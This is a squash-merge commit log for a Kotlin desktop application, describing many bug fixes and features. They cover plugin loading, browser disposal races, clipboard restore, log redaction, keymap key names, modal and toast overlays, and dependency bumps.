Remove the redundant unregister from plugin teardown. Document independent context services and synchronous Essenty onCreate replay, with tests for registration ownership and exactly-once create callbacks. Keep tab teardown hardening separate. Maintainer follow-up to the review of #317; original #313/#317 contributor credit is unchanged. * fix(crash): address consolidated sanitization review notes Maintainer follow-up to Claude N1-N4: document factory/copy invariant, correct stale comments, move Aditya original construction assertions into the service suite while retaining Antriksh blank/diagnostic cases, and log unexpected dialog submission failures. Original contribution credit remains separate. * fix(logging): keep server failure payloads out of secret RPC logs Maintainer follow-up to Claude review: log operation and exception type only, preserve sanitized return semantics, and check each catch for safe return/log wiring. Document measured hostname limits without broadening the matcher; add module-local redaction and diagnostic-preservation coverage. Antriksh original implementation remains credited separately. * ci: build PR batches on dev * Allow Claude diff reviews after approved fork builds (#413) * fix(browser): preserve newer clipboard copies during plain-text paste (#316) * fix(browser): paste-without-formatting no longer clobbers a copy made in its restore window (#205) * fix(browser): make paste-without-formatting's restore identity-based, not text-based Review of this PR caught that the text-equality guard cannot distinguish 'our write is still current' from 'a previous press already restored the rich original' - whose string projection is by construction the same text - so two presses inside the 200ms window permanently downgraded a rich clipboard to plain text. A PasteWithoutFormattingSession now tracks the exact Transferable each press installed and restores the pre-window original once, while a user copy in the window still wins. Adds five tests to BrowserClipboardCommandsTest, including the double-press regression; wraps the two over-limit lines; e.message -> e::class.simpleName in the touched handlers. * fix(browser): fold tryRestore's early exits so it stays within detekt's ReturnCount * fix(browser): blank lines between FakeTransferable overrides per ktlint * test(browser): retain clipboard restore scenarios from #408 * fix(browser): track clipboard ownership through AWT wrappers --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang Co-authored-by: Antriksh1984 * fix(plugins): serialize concurrent first loads per class name (#324) * fix(plugins): prevent duplicate class definitions during concurrent loads * fix(plugins): make class loading parallel-safe * test(plugins): pin concurrent loading lifecycle boundaries Maintainer consolidation follow-up: retain #324 synchronization and its tests; add concurrent shared-name, superclass, and unload-marker coverage. Document caller-sensitive registration based on arjun28115 review feedback and clarify that marking unload does not drain an already admitted parent lookup. No global lifecycle lock or resource-policy changes. --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Procs <168113425+ProportanilityConstant@users.noreply.github.com> Co-authored-by: Shivang * fix(browser): defer native disposal until admitted calls drain (#312 + #409) (#412) * fix: make BrowserHandle JavaScript execution cancellable the previous synchronous JxBrowser call blocked the Main/EDT thread; coroutine cancellation could not take effect while that call was blocking; the implementation now uses JxBrowser’s asynchronous JavaScript callback API; suspendCancellableCoroutine makes the Kotlin waiting side cancellable; late callbacks after cancellation are safely ignored; this does NOT terminate JavaScript already executing inside Chromium. * fix: add robust native call lifecycle tracking for disposal * test: verify native operation cleanup on synchronous failure * fix: linearize browser disposal and pending operation tracking * fix: resolve detekt violations in browser native tracking * test: satisfy detekt failure simulation rule * fix: close native operation disposal race * fix(browser): drain an in-flight call before closing the browser Issue #300 reports that executeJavaScript is a synchronous, non- cancellation-aware native call, and a plugin's own withTimeoutOrNull around it can only abandon the caller's wait - not the call itself - which stays running on Main indefinitely and can race a concurrent handle.dispose(), touching the same native object from two threads at once. The severe half of this was already fixed by BoundedBrowserCall: this class confines every blocking round trip to one dedicated daemon thread instead of Dispatchers.Main, so a wedged renderer no longer freezes the app. What was not yet closed is the residual window this issue's core report is actually about: shutdown() stopped new work but did not wait for whatever was already running, so a caller could proceed straight to browser.close() while a call from just before shutdown was still finishing on the dedicated thread. shutdown() now waits, bounded, for that in-flight call to drain before returning. Costs nothing in the common case - awaitTermination returns immediately once the one worker thread and its queue are both idle, which is where an instance sits between calls - and only the bound in the rare case something was genuinely still running. Known, and disclosed in the KDoc rather than claimed away: this narrows the race for the common case (a call that was always going to finish quickly) rather than closing it. It cannot help when the in-flight call is itself the wedge this class's own deadline exists for - waiting unboundedly for a genuinely stuck call would reintroduce the exact freeze BoundedBrowserCall exists to prevent, just moved from a plugin's await into every caller's teardown path. There is no JxBrowser API on this version able to interrupt a blocking round trip already inside the native call, which is the whole reason the call is confined to its own thread instead of cancelled - closing that window completely needs JxBrowser's own cooperation, which the issue's own analysis already concluded is unavailable. Tests: shutdown waits for a fast in-flight call to finish before returning, and does not wait past its own drain timeout for a wedged one - the same before/after pair the rest of this test file already uses for BoundedBrowserCall's deadline. * fix(browser): defer native close until admitted calls drain Consolidates the lifecycle work from #312 (johncybersage) and #409 (Antriksh1984), retaining both original histories. Replaces success-only callback accounting and timeout-then-close with executor termination signals and host-owned native/profile cleanup. These corrections and replacement tests are maintainer/agent work, separate from contributor scoring. * fix(browser): bound profile waits and clarify deferred cleanup ownership Address consolidation review: schedule both service disposal paths without awaiting native close, diagnose pending drains, centralize executor ownership, and bound profile lease acquisition without permitting unsafe reuse or eviction. Document process-exit abandonment and verify wiring and cleanup ordering. Maintainer/agent follow-up, separate from original #312 and #409 contributor credit. * fix(browser): schedule disposal after early UI teardown failure * ci: create launcher directory before Claude native installation * Revert "ci: create launcher directory before Claude native installation" This reverts commit 5184908e6c3f133502508513b4c5e17651b13bc0. * test: keep warmup registry ordering check on one event loop * test(browser): normalize CRLF in disposal source wiring guards --------- Co-authored-by: john k Co-authored-by: john k Co-authored-by: Antriksh1984 * feat(tabs): show a speaker glyph on tabs that are playing audio (#314) * feat(tabs): show a speaker glyph on tabs that are playing audio (#308) * fix(tabs): review round - compile, registry lifetime, UI-thread marshalling, owner flush 1. graphicsLayer import dropped (does not exist at that package); the fade now uses .alpha(audioAlpha), already imported. 2. TabAudioRegistry no longer outlives its owner: disposeAllTabsBlocking unregisters everything this component registered, and DetachedTab.destroy drops the entry for a tab destroyed without adoption - the handler captures the BossTabsComponent, so stale entries retained it. 3. The registry update is marshalled to the EDT via SwingUtilities.invokeLater, so the tab-model mutation happens on the UI thread as the KDoc claims. 4. setFullscreenHandler flushes the current playback state once ownerTabId becomes known, closing the starts-before-registration race the review could not verify. 5. TabAudioRegistryTest added: delivery, last-writer-wins, ownership-checked unregister. * fix(tabs): CI round 2 - DetachedTab receiver error, long line, and baseline-preserving signatures - BossMainWindowPanel.kt:2098: DetachedTab is a non-inner nested class and cannot use the outer component as receiver; the audio-handler drop moves to detachTab instead, which is where adoption-vs-destroy actually diverges. - TabAudioRegistry.kt:9 wrapped under detekt's 120-char limit. - FluckTabInfo.isPlayingAudio and BossTabButton's glyph read no longer change any signature: the flag is a mutable property (copied in copy()'s body) and the button reads it off tabInfo, so the constructor, copy() and BossTabButton keep their exact baseline-frozen detekt IDs and the resurfaced LongMethod/LongParameterList/CyclomaticComplexMethod findings retire. * fix(tabs): fold handleAudioUpdate within ReturnCount; add missing final newline in the test file * fix(tabs): publish audio state by browser ownership and keep icon layout stable --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang * feat: connect chrome density settings and keyboard controls (#305) * feat: wire the chrome density scale into settings and small-screen defaults ChromeDensity / ChromeDimens.of() / LocalChromeDimens already existed on main and every bar (BossTitleBar, BossTopBar, the main tab bar, BossBottomBar) already read its height from BossChrome.dimens - but LocalChromeDimens was never provided anywhere, so it silently resolved to its staticCompositionLocalOf default (Comfortable) always. The scale was built and unreachable. This closes that gap: - WindowAppearanceSettings gets a `density` field (default COMFORTABLE, so an existing install's settings file - which has never heard of this key - decodes to exactly the chrome it already had; no settings-version bump needed). - BossApp.kt now provides LocalChromeDimens from that field, host-only and outside BossAppCompositionLocals (plugins never draw host chrome). - A "Density" dropdown in Settings > Bars (Compact/Comfortable/Spacious), indexed in Settings search. - A fresh install on a small screen (< 1000dp logical height, clearing the 13" MacBook Air's ~931-956pt from #239's own measurements) now defaults to Compact and starts with the bottom bar off - the one bar this manager can still reclaim itself, since the side strips are already off by class default. Toolkit.getScreenSize() is read once, wrapped in runCatching (HeadlessException off a display must not break a fresh install), with a pure defaultDensityFor(screenHeightDp) so the decision is unit-testable without a display. Addresses #239, scoped down from the full issue. Out of scope in this pass, deliberately: - The app does not yet report its own chrome budget as a measured percentage - the issue's own "state it, don't argue it" ask. Reachable later from the same ChromeDimens source, but needs a spot to render it. - The title bar's 27dp "Boss Console" label row is untouched - collapsing or merging it with the tab bar is a separate, riskier layout change than a density scale. - No regression intended to the existing per-bar show/hide switches or focus-mode edges: density only changes how much room a bar that is already on screen takes, never whether it is shown. * fix: drop the Compact-density bottom-bar auto-off, wrap an overlong line Address review feedback on #305: - Removed showBottomBar = density != ChromeDensity.COMPACT from getDefaultSettings(). ChromeMetricsTest already shows the shipped macOS defaults reach 93.3% of a 931dp window at Comfortable, so #239's >=90% bar is met without touching the status bar - and that bar's own KDoc argues it must stay on ("the only always-on readout"). It was also reachable from the settings-load catch fallback, so a transient read error could silently drop the bar and have the next save persist the loss. Compact now only changes density, nothing else. - Wrapped primaryScreenHeightDp() - was 121 chars, one over detekt's default MaxLineLength (120), which applies here since .editorconfig's 140 is a ktlint-only setting and this line wasn't in the baseline. * feat: add chrome density setting * feat: add small-screen chrome defaults * feat: add chrome density controls and small-screen defaults * fix(ui): preserve lean density defaults and test density controls * style: format multiline screen-height lookup * fix(ui): separate density recovery and make editor chords opt-in * style: wrap density default documentation --------- Co-authored-by: AdityaK-iiita Co-authored-by: Shivang * fix(plugins): stop host resource fallback after unload (#325) * fix(plugins): stop host resource fallback after unload * fix(plugins): preserve resource warning for a missing result --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Shivang * Handle closed browser frames during navigation callbacks (#400) * Handle closed browser frames during navigation callbacks * test(browser): retain closed-event guard after navigation integration * fix(browser): preserve helpers on PID failure and recognize closed transports * style(browser): wrap review diagnostics for detekt --------- Co-authored-by: Shivang * refactor(window): pin the panel content alignment width (#398) * fix(window): restore strict width constraints for nested panels Fixes #278. Commit c15660c5 inadvertently dropped the explicit width constraint for nested panels in the right dock by wrapping them inside a PanelColumn with a Box(weight(1f)) that lacked fillMaxWidth(). This loose constraint caused a known issue with SubcomposeLayout caching stale bounds when resized, resulting in Row content disappearing after weighted Spacers. This commit restores the .fillMaxWidth() propagation. * Cover panel content alignment across width changes * Keep panel layout regression in the existing app test package * Document panel alignment contract and pin filling content width * Wrap the panel width assertion to satisfy detekt --------- Co-authored-by: Shivang * #320 - Fix quick actions vanishing in short tab rail (#328) * #320 - Fix quick actions vanishing in short tab rail * Fix: detekt & ktlint checks * Fix rail action budgets and reversible fallback wiring * Fix resize test assertion import and update rail coverage note --------- Co-authored-by: Shivang * fix(crash): refine scroll boundary and bound error sanitization (#350) * fix(crash): refine scroll boundary and bound error sanitization * Avoid exposing a partial token at the crash message limit * Document sanitizer input bound and verify expansion ordering --------- Co-authored-by: Aishwary Anand Co-authored-by: Shivang * fix(logging): redact private hostnames (#346) * fix(logging): redact private hostnames * Handle private hostname punctuation and preserve diagnostic ports * Format hostname punctuation regression assertion --------- Co-authored-by: ayush Co-authored-by: Shivang * feat: Opening an .html file should ask open as a file or webpage (#333) * feat: Opening an .html file should ask open as a file or webpage * Fix HTML prompt delivery and persisted preference ordering * Cover HTML routing and correct review test fixtures * Honor HTML navigation intent and release pending prompts on failure * Isolate HTML prompt handling from the general dialog host --------- Co-authored-by: Shivang * fix(plugin-store): parse timestamps consistently in list and detail metadata (#379) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * fix(repository): implement robust ISO timestamp parsing for Supabase payloads * style(repository): resolve detekt MaxLineLength and TooGenericExceptionCaught * fix(plugin-store): implement plugin metadata timestamp parsing PluginStoreClient.parseTimestamp was a stub that always returned 0L, so every plugin fetched from the store showed "Last Updated"/"Published" as the Unix epoch in the Toolbox UI regardless of what the server actually sent (#337). Parses the ISO-8601 timestamp (the shape the store sends, e.g. 2024-05-12T14:30:00Z, or with a numeric offset) via java.time.Instant, falling back to 0L for a blank, missing, or malformed string rather than throwing - matching the field's own empty-string default for a response that omits it. java.time rather than adding kotlinx-datetime as a new dependency: this module already uses java.util.* directly in the same commonMain source set (it has one real target, jvm("desktop")), so nothing is gained by introducing a second time library for one function. Tests exercise the real PluginDetailResponse.toPluginInfo(), matching the convention already established next to it in PluginStoreResponseDecodingTest: a Z-suffixed timestamp, a numeric-offset timestamp, a blank string, and a malformed string. * Fix timestamp normalization edge cases and verify both response mappings * Use release publication dates and pin timezone-independent fallback --------- Co-authored-by: Sanjay Co-authored-by: Antriksh1984 Co-authored-by: Shivang * feat(remote-ui): authenticate and expose remote UI surfaces (#348) * feat(remote-ui): authenticate remote UI process identity * feat(remote-ui): place authenticated remote UI surfaces * fix(remote-ui): close ownership and placement lifecycle races * test(remote-ui): expose placement recovery cases to JUnit --------- Co-authored-by: Shivang * feat(dashboard): add shared read-only What's New release feed (#381) * Add What's New release feed to dashboard * Serialize update settings persistence * Remove unused update settings import * fix(updater): retain realtime refreshes during shared release fetches * style(updater): format shared release fetch regression tests * fix(updater): coalesce release refresh bursts and preserve visible history --------- Co-authored-by: Shivang * fix(language): consolidate host and out-of-process language-id tables (#358) * fix(language): consolidate host and out-of-process language-id tables EditorLanguages (composeApp) and EditorServiceImpl (modules/boss-app-editor) each hand-maintained their own extension-to-language-id table because boss-app-editor - a plain JVM module compiled to a GraalVM native image - could not depend on anything in composeApp. They disagreed: EditorServiceImpl named .sh/.bash/.zsh "shell", EditorLanguages named them "bash", and EditorServiceImpl was missing more than forty ids the other table had (fortran, delphi, latex, lisp, tcl, clojure, batch, diff, ...) (#75). Moves the table into a new plugin-platform/plugin-language-types module - dependency-free by design, so it carries nothing extra into boss-app-editor's native-image build - and has both EditorLanguages and EditorServiceImpl read from it. This is the first time anything under modules/ depends on plugin-platform/; verified compiling and passing tests before committing to the approach. EditorLanguages keeps its existing public API unchanged (same values for every extension), so FileTypeCategoriesTest and EditorLanguageDetectionTest needed no changes. EditorServiceImpl keeps its own "proto"->"protobuf" entry and "plaintext" fallback as local additions on top of the shared table, rather than folding them into it: proto isn't part of the boss-file-types.json default-app-association surface the shared table backs, and "plaintext" is this service's own gRPC default, not a value composeApp reads. Adds LanguageIdsTest (the new module) and EditorServiceImplTest (previously no tests existed for this class at all) - the latter pins the actual bug fix, that detectLanguage("sh") now returns "bash" instead of "shell". Out of scope, and disclosed rather than silently dropped: two of the five duplicate tables the issue names - the editor-tab plugin's own LanguageDetection and BossEditor's lexer registry - live in separate repositories this build cannot reach. FileIcons.forSpecialFileName/forFile in plugin-icons is also not consolidated: it keys icon selection off the raw filename to preserve distinctions a language id can't carry (package.json, yarn.lock and pnpm-lock.yaml are all valid JSON/YAML but get three different brand icons) and never computes a language id in the first place, so routing it through this table would need a separate icon-selection redesign. * fix(language): keep file-association drift checks on the shared table * fix(language): apply shared filename rules to editor file opens --------- Co-authored-by: Shivang * fix(editor): contain write-local stack overflow and preserve fatal errors (#396) * Make writeFileContentSafe actually safe: catch the Errors it was named for `writeFileContentSafe` exists to return false rather than throw. It did not hold that contract: } catch (e: Exception) { fileIoLogger.warn(LogCategory.EDITOR, "Error writing file", error = e) false } StackOverflowError is an Error, not an Exception, so it went straight through - out of writeFileContent, out of the editor_write_file MCP handler, and to the caller as a bare StackOverflowError instead of the handler's own "Write failed for ". The warn that would have named the file never ran either. That is not hypothetical. risa-labs-inc/boss-plugin-editor-tab#18 and #27 are two independent reports of it, on unrelated content, and #27's complaint is precisely the missing diagnosis: the error "gives no indication of which input caused it". StackOverflowError and OutOfMemoryError are caught explicitly rather than widening to Throwable. A stack overflow unwinds and leaves the JVM usable, and readFileContentSafe in this same file already treats OutOfMemoryError as a reportable outcome. Throwable would also absorb LinkageError and ThreadDeath, which are not this function's to swallow - there is a test asserting a NoClassDefFoundError still propagates. The failure log now names the path and the character count. Not the content: these writes carry whatever the user is editing. **This does not fix the write.** Whatever recurses is upstream of this function, which is mkdirs plus writeText - I ruled out the plugin's handler, this write, and the host's MCP argument parsing, and said so on the issue. What changes is that the failure is reported honestly instead of escaping, which is where a diagnosis can start. The body moves to `guardedWrite` with an injectable write, because a test JVM cannot be made to overflow the stack inside writeText on demand. Verified: 3729 tests, 0 failures, plus ktlintCheck and detekt. Refs risa-labs-inc/boss-plugin-editor-tab#18, #27. Co-Authored-By: Claude Opus 5 * docs(editor): clarify write guard scope and prior recursion fix * fix(editor): preserve fatal heap errors in write guard --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(state): apply version-checked JSON merge patches (#361) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * Feature: Implement JSON Merge Patch for plugin delta state synchronization * fix(state): validate delta bases and exclude duplicate timestamp scope * fix(state): reject malformed and deeply nested patches --------- Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump grpc from 1.83.1 to 1.84.0 (#363) Bumps `grpc` from 1.83.1 to 1.84.0. Updates `io.grpc:grpc-netty` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-protobuf` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-stub` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-services` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-util` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) --- updated-dependencies: - dependency-name: io.grpc:grpc-netty dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-protobuf dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-stub dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-services dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-util dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump protobuf from 4.36.0 to 4.36.1 (#364) Bumps `protobuf` from 4.36.0 to 4.36.1. Updates `com.google.protobuf:protobuf-kotlin` from 4.36.0 to 4.36.1 Updates `com.google.protobuf:protobuf-java` from 4.36.0 to 4.36.1 - [Release notes](https://github.com/protocolbuffers/protobuf/releases) - [Commits](https://github.com/protocolbuffers/protobuf/commits) --- updated-dependencies: - dependency-name: com.google.protobuf:protobuf-kotlin dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: com.google.protobuf:protobuf-java dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * fix(plugins): defer stale jar cleanup until restart (#340) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Require cleanup intent and retain artifacts with unordered manifest versions --------- Co-authored-by: ayush Co-authored-by: Shivang * fix(plugins): defer fluck-browser hot-reload to a restart (#352) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): defer fluck-browser hot-reload to a restart Hot-reloading fluck-browser force-unloads the classloader that created its JxBrowser native views. Every open tab - and every tab opened afterward, since the factory that would recreate the view is gone too - draws an empty box, and a second hot-reload does not recover it; only a full restart does. HotReloadPolicy names plugins that must never be swapped in place, matching the existing NOT_USER_INSTALLABLE/RetiredPlugins pattern. It's checked at every path that can force-unload a live plugin to apply an update: the resetPluginInstances/doReloadPlugin path that actually reproduced this bug, the menu-driven Reload action, the Toolbox update flow, and the store installer. For a not-hot-reloadable plugin, the new jar is staged into installed.json without touching the running instance or its open tabs, and a status message tells the user to restart to apply it - the next cold start loads the update with a fresh classloader. Also fixes two call sites that asked "restart dependent plugins?" before checking whether an unload was even going to happen, which produced a confusing prompt for an unload that a deferred update was never going to do. * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Validate deferred browser artifacts and reject ineffective downgrades * Require cleanup intent and retain artifacts with unordered manifest versions * Preserve unloaded-browser recovery and unify safe deferred selection * Format scoped update cleanup integration --------- Co-authored-by: ayush Co-authored-by: Shivang * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) (#365) * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) reapDepth (AtomicInteger) replaces the boolean reaping flag, so the two JVM shutdown hooks (main.kt and KernelBootstrap) cannot clear the in-progress signal while the other is still reaping (item 2). reapChildren now unregisters reaped handles from the process-wide ProcessRegistry, so stale dead entries do not persist across an in-process mode switch (item 4). OutOfProcessPluginSpawnerImpl.spawn() stands down when isReaping(), so a plugin load racing host exit cannot register a child after the reap snapshot (item 3). Covered by ReapChildrenTest. * Serialize plugin spawn registration with reaping and preserve replacement handles * Fence late process creation without blocking shutdown and cover recovery --------- Co-authored-by: Shivang * fix(plugins): complete loader cleanup after disposal linkage errors (#302) * fix: API hot swap during startup * fix: workflows * resolved comments by maintainer * fix CI and build * Scope disposal error resilience and cover loader cleanup after linkage failure --------- Co-authored-by: Shivang * Fix shortcut rebinding key storage (#329) (#335) * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Store a folded key name on capture, and repair the keymaps that hold a keyCode Completes #329, on top of the one-line capture fix in #335. which is the right shape and stops new rebinds being dead. Its own description records the rest as future work: the keymaps already on disk still hold numeric keys, and nothing tests it. This is that rest. **Fold the name before storing it.** The raw rendering is not the presets' vocabulary and it is not stable. The left arrow renders "Left" against the presets' "DirectionLeft", the right bracket "Close Bracket" against "CloseBracket", the 1 key "1" against "One" - all of which MATCH through the alias table, none of which DISPLAY the same, because `formatKeyDisplay` knows "directionleft" and not "left". Stored raw, a rebound arrow lists as "⌘LEFT" beside a preset's "⌘←". And `Key.toString()` falls through to AWT's `getKeyText`, which answers with a word while the toolkit is cold and the macOS glyph once it is up, so the same user rebinding Tab gets "Tab" or the glyph depending on nothing they did. `storedKeyName` folds through `canonicalKeyName` first, which makes a rebind indistinguishable from a preset binding: same match, same signature, same rendering, and deterministic. **Existing keymaps are handled twice, deliberately.** `canonicalKeyName` resolves a stored keyCode so an unmigrated file keeps matching, AND the settings migration rewrites it so the file stops holding a ten-digit key. Either alone is not enough: the migration cleans one file, and a keymap restored from a backup, copied off another machine, or exported and re-imported reaches the matchers before it reaches the migration. **The repair runs before `migrateSettings`' chord arithmetic**, which is what lets #322's drop-on-conflict guard see a UI rebind at all. While those signed as a numeric key, `chordHolders` produced a signature no preset chord could equal, so a keymap whose owner had rebound an action through the UI read as not claiming that chord and the guard handed a new action straight onto it. #322's own motivating example is "someone who rebound panel.navigate_right", which is a UI rebind: the guard was protecting hand-edited files and not the ones made in the app. Two smaller things: - The dialog's preview was rendering the raw keyCode too. It had a private copy of the display formatter, and now renders the exact `KeyStroke` that Apply persists, so the preview cannot disagree with what is saved. - `KeyBinding.fromComposeKey` had the same `key.keyCode.toString()` line. It has no caller today, which is exactly why it would have outlived the fix. Answering the question the issue leaves open: yes, the Shortcuts screen's own tester reports these, so it reproduces without a build change. `ShortcutTestRunner.validateKeyName` reaches its "Unknown key name" branch and the row goes red. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Co-Authored-By: Claude Opus 5 * Preserve MoveHome and MoveEnd aliases from PR #405 Extract the additional Home/End property-name aliases and assertions from #405. Maintainer integration retains home/end as canonical spellings for the existing vocabulary. * Keep unrecognised legacy key codes intact during repair * Exercise warm toolkit key names and correct rendering comments * Keep shortcut capture consumers consistent and reject modifier-only captures * Keep import regression setup readable * Order warm-toolkit test imports per repository style * Recognise unknown-key diagnostics independently of their localized prefix * Wrap modifier key lists for quality gates * Share the dispatcher modifier and lock-key exclusions with capture * Use public shortcut equality in the formatted menu regression test * Preserve malformed native codes instead of storing invalid Unicode * Cover the new dev chrome-density shortcut in capture round trips --------- Co-authored-by: Arjun Singla Co-authored-by: Claude Opus 5 Co-authored-by: Antriksh1984 Co-authored-by: Shivang * fix: make sidecar backfill lifecycle reliable (#347) * fix: make sidecar backfill lifecycle reliable * test(plugins): format sidecar backfill tests * fix(plugins): keep backfill persistence on IO and cover lifecycle transitions * fix(plugins): retry interrupted auth backfill and dispatch the full drain on IO * style(plugins): format sidecar coordinator declarations * style(plugins): keep unsigned predicate within line limit * style(plugins): wrap unsigned predicate expression * style(plugins): name the current stamp in unsigned predicate --------- Co-authored-by: ayush Co-authored-by: Shivang * fix: await SupabaseConfig initialization before syncing plugin manifest (#366) * fix: await SupabaseConfig initialization before syncing plugin manifest * style: fix ktlint import order for java.io.File * fix(plugin): wait for SupabaseConfig before starting the manifest sync SystemPluginManifestService.startSync() ran its startup fetch and Realtime subscription before SupabaseConfig finished its own async initialize() call in the Compose UI layer, so both routines' first attempt hit SupabaseConfig.client's "not initialized" throw: a startup warning for the fetch, and an unnecessary first trip through the subscription's backoff retry loop before it ever connects (#370). SupabaseConfig.isInitialized already exists as a StateFlow for exactly this. Both of startSync's launched coroutines now suspend on it once, before touching the client, replacing a guaranteed-to-fail-once startup path with a wait for the real precondition. The existing "catch up on (re)connect" comment in subscribeToChanges - added because this same race could also just lose - stays accurate; this closes the race rather than only compensating for it afterward. Test exercises the actual mechanism: a coroutine awaiting SupabaseConfig.isInitialized genuinely suspends (verified via TestCoroutineScheduler.runCurrent(), not a coroutine that was merely scheduled and never run) until initialize() is called, then resolves. * Isolate manifest readiness regressions from stored auth sessions * Test manifest readiness without singleton side effects --------- Co-authored-by: Antriksh1984 Co-authored-by: Shivang * Fix heavyweight modals dismissing destructively on focus loss (#152) (#353) * Fix heavyweight modals dismissing destructively on focus loss (#152) Extending LocalHeavyweightOverlays to the whole BossWindow content routed several dialogs through HeavyweightModal, which dismisses whenever focus leaves the application (oppositeWindow == null). Two dialogs dismiss to a destructive action, so this was a regression: - MemoryPressureNoticeDialog dismisses to acknowledge(), clearing the once-per-session notice and its restart offer unread on an alt-tab away. - ScreenCapturePickerDialog dismisses to cancel the capture request, so switching to the window you want to share silently killed the share. Add an internal LocalDismissModalOnFocusLoss CompositionLocal (default true) that the two dialogs set to false, honoured in shouldDismissOnFocusLoss. This suppresses only the focus-loss path - Escape and the scrim still dismiss deliberately. Kept host-side rather than as a BossDialog/modalRenderer parameter because those signatures are pinned by the binary-compatibility validator and would need a coordinated api-then-host release; both callers are host dialogs in composeApp. Covered by HeavyweightOverlayTest. * fix(overlays): address dismissal review and pin destructive dialog wiring * style(overlays): order dialog property import * style(overlays): wrap dismissal wiring assertion * style(overlays): import the regression fixture root helper --------- Co-authored-by: Shivang * Fix toast overlay clipping content at its first-frame size (#154) (#354) * Fix toast overlay clipping content at its first-frame size (#154) HeavyweightCorner measured its content against a ceiling of min(initialSize, region), so the toast overlay's 432x600 initialSize doubled as a hard clip. Three verbose toasts can exceed 600dp, and because the overlay window is content-sized the overflow is not cosmetic: the bottom toast's dismiss button lands outside the window, unclickable, on the INDEFINITE path where dismissing is the only way out, so the toast is genuinely stuck. measuredAgainst already decoupled measurement from the window's current size, so the two uses of the initial size no longer need to be one number. Size the ceiling to the parent region instead (regionCeiling), leaving initialSize as only the small first-frame placeholder. Content now grows the window up to what the parent can actually show rather than being clipped. Other callers are unaffected: intrinsically-sized content measures the same, it just stops being capped below the parent. Covered by HeavyweightCornerTest; HeavyweightCornerSizingTest's ratchet guarantees are unchanged. * test(overlays): measure content beyond the initial toast window height * docs(overlays): update all first-frame sizing contracts --------- 